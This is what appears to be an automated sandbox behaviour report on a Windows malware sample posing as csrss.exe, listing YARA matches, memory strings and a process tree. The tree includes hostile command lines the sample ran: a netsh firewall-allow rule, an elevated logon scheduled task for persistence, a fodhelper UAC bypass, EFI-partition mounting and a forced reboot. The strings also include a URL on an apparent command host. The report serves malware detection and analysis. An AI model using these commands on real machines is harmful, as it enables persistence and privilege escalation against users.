Source: 41.2.csrss.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 44.2.csrss.exe.9a56e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.2.csrss.exe.9ad2e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.3.csrss.exe.5359a80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.2.csrss.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.3.csrss.exe.535bce0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.2.csrss.exe.4aaa8d0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 41.2.csrss.exe.9ab080.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 11.2.csrss.exe.9ad2e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.535bce0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.5359a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.2.csrss.exe.9ab080.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.3.csrss.exe.5359a80.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.3.csrss.exe.535bce0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 0.2.csrss.exe.9ab080.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 18.3.csrss.exe.5359a80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 2.3.csrss.exe.53540e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 27.2.csrss.exe.9ad2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09
Source: 19.3.csrss.exe.53540e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_ME_RawDisk_Agent_Jan20_2 date = 2020-01-02, hash1 = 44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2, author = Florian Roth, description = Detects suspicious malware using ElRawDisk, reference = https://twitter.com/jfslowik/status/1212501454549741568?s=09

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132

Source: C:\Users\user\Desktop\csrss.exe

File created: C:\Windows\rss

Jump to behavior

Source: EfiGuardDxe.efi.11.dr	Static PE information: No import functions for PE file found
Source: bootmgfw.efi.11.dr	Static PE information: No import functions for PE file found
Source: bootx64.efi.11.dr	Static PE information: No import functions for PE file found

Source: csrss.exe, 00000000.00000003.319590616.0000000005603000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000000.00000003.319590616.0000000005603000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000000.00000002.335427805.0000000004D54000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000000.00000002.335427805.0000000004D54000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000000.00000002.330460291.00000000009F9000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe	Binary or memory string: OriginalFilename vs csrss.exe
Source: csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe, 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe, 00000002.00000002.361147879.0000000004D54000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000002.00000002.361147879.0000000004D54000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000002.00000002.355613322.00000000009F9000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 00000002.00000003.338789732.0000000005603000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDBGHELP.DLLj% vs csrss.exe
Source: csrss.exe, 00000002.00000003.338789732.0000000005603000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesymsrv.dllj% vs csrss.exe
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe	Binary or memory string: OriginalFilename vs csrss.exe
Source: csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameWinmonFS.sysZ vs csrss.exe
Source: csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamedsefix.exe. vs csrss.exe
Source: csrss.exe, 0000000B.00000003.363797904.0000000005408000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameHamakaze.exe( vs csrss.exe
Source: csrss.exe	Binary or memory string: OriginalFilename vs csrss.exe
Source: csrss.exe	Binary or memory string: OriginalFilename vs csrss.exe

Source: csrss.exe	Virustotal: Detection: 45%
Source: csrss.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\csrss.exe

File read: C:\Users\user\Desktop\csrss.exe

Jump to behavior

Source: csrss.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\csrss.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\csrss.exe "C:\Users\user\Desktop\csrss.exe"
Source: unknown	Process created: C:\Windows\servicing\TrustedInstaller.exe C:\Windows\servicing\TrustedInstaller.exe
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Users\user\Desktop\csrss.exe C:\Users\user\Desktop\csrss.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 928
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe ""
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1240 -ip 1240
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 828
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /tn ScheduledUpdate /f
Source: unknown	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: unknown	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\SysWOW64\mountvol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5
Source: C:\Windows\SysWOW64\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2060 -ip 2060
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 704
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5892 -ip 5892
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 676
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe ""	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 928	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1240 -ip 1240	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 828	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2060 -ip 2060	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 704	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5892 -ip 5892	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 676	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"

Source: C:\Users\user\Desktop\csrss.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Process WHERE Name = 'dawnwater.exe'

Source: C:\Windows\rss\csrss.exe

File created: C:\Users\user\AppData\Local\Temp\csrss

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@77/11@12/5

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6652:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:7136:64:WilError_01
Source: C:\Windows\rss\csrss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\h48yorbq6rm87zot
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4200:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6112:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:2316:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6396:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5976:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5160:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6372:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:488:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_01

Source: csrss.exe, 00000000.00000002.331381739.0000000003A00000.00000004.00000001.sdmp

Binary or memory string: ;.VBp

Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume

Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: csrss.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: C:\Windows\System32\fodhelper.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Office\16.0\Outlook\Capabilities\UrlAssociations

Source: C:\Users\user\Desktop\csrss.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: csrss.exe

Static file information: File size 4527104 > 1048576

Source: csrss.exe

